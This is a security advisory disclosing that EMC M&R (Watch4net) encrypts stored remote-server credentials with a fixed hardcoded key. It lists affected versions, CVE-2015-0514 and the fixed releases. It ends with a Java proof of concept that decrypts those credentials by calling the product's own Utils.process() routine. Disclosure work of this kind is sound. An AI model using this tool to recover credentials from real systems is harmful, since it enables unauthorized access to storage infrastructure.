------------------------------------------------------------------------
EMC M&R (Watch4net) data storage collector credentials are not properly
protected
------------------------------------------------------------------------
Han Sahin, November 2014
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that EMC M&R (Watch4net) credentials of remote servers
stored in Watch4net are encrypted using a fixed hardcoded password. If
an attacker manages to obtain a copy of the encrypted credentials, it is
trivial to decrypt them.
------------------------------------------------------------------------
Affected products
------------------------------------------------------------------------
EMC reports that the following products are affected by this
vulnerability:
- EMC M&R (Watch4Net) versions prior 6.5u1
- EMC ViPR SRM versions prior to 3.6.1
------------------------------------------------------------------------
See also
------------------------------------------------------------------------
- CVE-2015-0514
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
EMC released the following updated versions that resolve this
vulnerability:
- EMC M&R (Watch4Net) 6.5u1
- EMC ViPR SRM 3.6.1
Registered customers can download upgraded software from support.emc.com
at https://support.emc.com/downloads/34247_ViPR-SRM.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20141101/emc_m_r__watch4net__data_storage_collector_credentials_are_not_properly_protected.html
Due to insecure use of cryptography the credentials of these remote host can be decrypted using the Java class com.watch4net.apg.v2.common.config.tools.Utils.process().
Proof of concept
import com.watch4net.apg.v2.common.config.tools.Utils;
public class Watch4NetCrypt {
private static void print(String out) {
System.out.println(out);
}
private static void usage() {
print("Usage:\t watch4netcrypt [-e] password");
print("\t watch4netcrypt [-d] encrypted");
System.exit(1);
}
public static void main(String[] args) {
if (args.length != 2 || !("-e".equals(args[0]) || "-d".equals(args[0]))) {
usage();
}
Boolean encrypt = "-e".equals(args[0]);
String password = args[1];
if (password != null) {
print(Utils.process(password, encrypt, "centralized", null));
}
}